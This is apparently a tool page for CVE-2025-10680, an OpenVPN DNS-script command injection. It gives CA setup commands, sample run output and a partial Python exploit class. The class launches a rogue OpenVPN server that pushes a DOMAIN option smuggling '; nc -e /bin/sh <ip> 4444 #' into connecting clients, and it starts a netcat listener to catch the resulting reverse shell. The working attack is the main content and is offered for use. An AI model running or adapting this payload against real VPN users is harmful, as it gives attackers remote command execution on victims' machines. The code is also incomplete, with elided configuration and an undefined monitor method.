CVE-2025-10680：OpenVPN DNS脚本注入远程代码执行漏洞验证与利用工具

# 1. 安装 easy-rsa (不同发行版包名可能不同)
git clone https://github.com/OpenVPN/easy-rsa.git
cd easy-rsa
# 2. 初始化并构建CA
./easyrsa init-pki
./easyrsa build-ca nopass
# 3. 生成服务器证书
./easyrsa gen-req server nopass
./easyrsa sign-req server server
# 4. 生成Diffie-Hellman参数
./easyrsa gen-dh

$ sudo python3 CVE-2025-10680.py --server-ip 10.0.0.5 --client-cert-dir /home/kali/ca
[+] Server config generated: /tmp/tmp4j3k9f0q.conf
[+] Poison payload: dhcp-option DOMAIN '; nc -e /bin/sh 10.0.0.5 4444 #'
[+] OpenVPN server started on UDP 1194 (check: netstat -ulnp | grep 1194)
[+] NC listener ready on 4444. Connect a vulnerable client now! 🎯
Client cmd: sudo openvpn --config client.conf  # With --up /etc/openvpn/dns-updown.sh

class OpenVPNExploit:
    def __init__(self, server_ip, client_cert_dir):
        self.server_ip = server_ip
        self.cert_dir = Path(client_cert_dir)  # 证书目录路径对象
        self.server_conf = None  # 临时配置文件路径
        self.ovpn_proc = None    # OpenVPN进程对象
        self.nc_proc = None      # Netcat进程对象
        self.running = True      # 运行状态标志

    def signal_handler(self, sig, frame):
        print("\n[!] Shutting down... Cleanup time. 💀")
        if self.ovpn_proc:
            self.ovpn_proc.terminate()  # 终止OpenVPN进程
        if self.nc_proc:
            self.nc_proc.terminate()    # 终止Netcat进程
        if self.server_conf:
            os.unlink(self.server_conf) # 删除临时配置文件
        sys.exit(0)

    def generate_server_conf(self):
        fd, conf_path = tempfile.mkstemp(suffix='.conf')
        self.server_conf = conf_path
        # 核心Payload：在DOMAIN选项中注入反向Shell命令
        injection = f"; nc -e /bin/sh {self.server_ip} 4444 #"
        conf_content = f"""port 1194
...
push "dhcp-option DOMAIN '{injection}'"  # 🧨 INJECTION POINT
...
"""
        with os.fdopen(fd, 'w') as f:
            f.write(conf_content)
        return conf_path

    def start_openvpn(self):
        conf = self.generate_server_conf()
        cmd = ['openvpn', '--config', conf, '--daemon']
        self.ovpn_proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        print("[+] OpenVPN server started on UDP 1194...")
        time.sleep(2)  # 等待进程完成绑定

    def start_nc_listener(self):
        cmd = ['nc', '-lvnp', '4444']
        self.nc_proc = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
        print("[+] NC listener ready on 4444...")

    def run(self):
        signal.signal(signal.SIGINT, self.signal_handler) # 注册信号处理器
        self.start_openvpn()      # 步骤1：启动恶意VPN服务器
        self.start_nc_listener()  # 步骤2：启动Shell监听器
        self.monitor()            # 步骤3：进入监控循环，保持脚本运行